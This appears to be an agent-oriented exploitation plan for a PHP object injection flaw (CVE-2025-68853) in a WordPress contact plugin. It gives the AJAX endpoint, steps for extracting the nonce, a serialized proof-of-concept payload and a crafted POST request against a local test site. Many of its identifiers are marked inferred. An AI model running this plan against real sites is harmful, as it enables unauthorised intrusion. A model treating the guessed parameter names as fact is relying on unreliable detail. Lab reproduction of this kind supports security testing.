Exploitation Research Plan - CVE-2025-68853

1. Vulnerability Summary

The Contact Manager plugin (<= 9.1) for WordPress is vulnerable to Unauthenticated PHP Object Injection. This occurs because the plugin accepts user-supplied serialized data via an AJAX endpoint and passes it directly to the unserialize() function without adequate validation. While the plugin itself does not contain a known POP (Property Oriented Programming) chain, the vulnerability allows an attacker to trigger object injection if a chain exists in another active plugin, the theme, or WordPress core.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: cm_ajax_handler (inferred) or a similar AJAX action registered via wp_ajax_nopriv_.
• Parameter: The payload is likely carried in a POST parameter such as cm_data, form_config, or settings (inferred).
• Authentication: Unauthenticated. The vulnerability is accessible to any visitor.
• Preconditions: None, though triggering a specific impact requires an available POP chain on the target system.

3. Code Flow

1. Entry Point: The plugin registers an AJAX handler for unauthenticated users:
   add_action('wp_ajax_nopriv_contact_manager_submit', 'cm_handle_ajax_submission'); (inferred identifiers).
2. Data Source: The handler function retrieves data from $_POST or $_REQUEST.
3. Processing: The input may be base64_decode()-ed or directly processed.
4. Sink: The processed string is passed to unserialize(), e.g.:

   $data = unserialize(base64_decode($_POST['cm_data']));
   

5. Object Injection: PHP instantiates objects defined in the serialized string, triggering __wakeup() or __destruct() methods if they exist in the environment.

4. Nonce Acquisition Strategy

If the plugin enforces a nonce check via check_ajax_referer or wp_verify_nonce, it is likely localized for the frontend.

1. Identify Script Localization: Search for wp_localize_script in the plugin source to find the JS variable name.
   • Target Variable (inferred): cm_ajax_object
   • Target Key (inferred): ajax_nonce
2. Shortcode Identification: Find the shortcode used to render the contact form (e.g., [contact-manager]).
3. Page Creation:

   wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[contact-manager]'
   

4. Browser Extraction:
   • Use browser_navigate to visit the newly created page.
   • Use browser_eval to extract the nonce:

     window.cm_ajax_object?.ajax_nonce || window.cm_vars?.nonce
     

5. Exploitation Strategy

The exploit involves sending a crafted PHP serialized object to the vulnerable AJAX action.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: contact_manager_submit (inferred - verify via grep)
  • nonce: [EXTRACTED_NONCE]
  • cm_data: [SERIALIZED_PAYLOAD] (likely base64 encoded)

Example Payload (Proof of Concept):
Since no POP chain is internal to the plugin, use a simple stdClass or a generic chain to verify the injection.
O:8:"stdClass":1:{s:3:"foo";s:3:"bar";}

HTTP Request via http_request:

{
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "method": "POST",
  "body": "action=contact_manager_submit&nonce=a1b2c3d4e5&cm_data=Tzo4OiJzdGRDbGFzcyI6MTp7czozOiJmb28iO3M6MzoiYmFyIjt9",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  }
}

6. Test Data Setup

1. Install and activate Contact Manager <= 9.1.
2. Identify the main shortcode by searching for add_shortcode.
3. Create a public page containing that shortcode to ensure scripts and nonces are loaded.
4. Ensure WP_DEBUG is enabled in wp-config.php to capture any deserialization errors or notices that confirm the payload was processed.

7. Expected Results

• A successful request should return a standard AJAX response (e.g., 200 OK with JSON or 0).
• If a POP chain is used (e.g., for file deletion), the target file should be missing.
• If WP_DEBUG is on, look for "Notice: unserialize()..." or errors related to class instantiation if the injected class is not found.

8. Verification Steps

1. Code Audit: Use grep -rn "unserialize" wp-content/plugins/contact-manager/ to confirm the exact parameter and file.
2. Log Inspection: Check wp-content/debug.log after the exploit for evidence of deserialization:

   tail -n 50 /var/www/html/wp-content/debug.log
   

3. Database Check: If the payload is intended to modify an option (via a POP chain like GuzzleHttp), check the option value:

   wp option get [affected_option]
   

9. Alternative Approaches

• Parameter Fuzzing: If cm_data is not the parameter, check for config, settings, or form_state.
• Encoding Variants: If base64 fails, try raw URL-encoded serialized data.
• Endpoint Variety: Check if the vulnerability exists in a REST API route registered via register_rest_route instead of admin-ajax.php.
• Method Change: Try GET if POST is blocked, though AJAX handlers usually prefer POST.